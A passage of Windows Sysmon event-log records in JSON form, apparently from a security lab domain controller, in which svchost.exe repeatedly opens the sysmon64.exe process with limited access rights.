C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 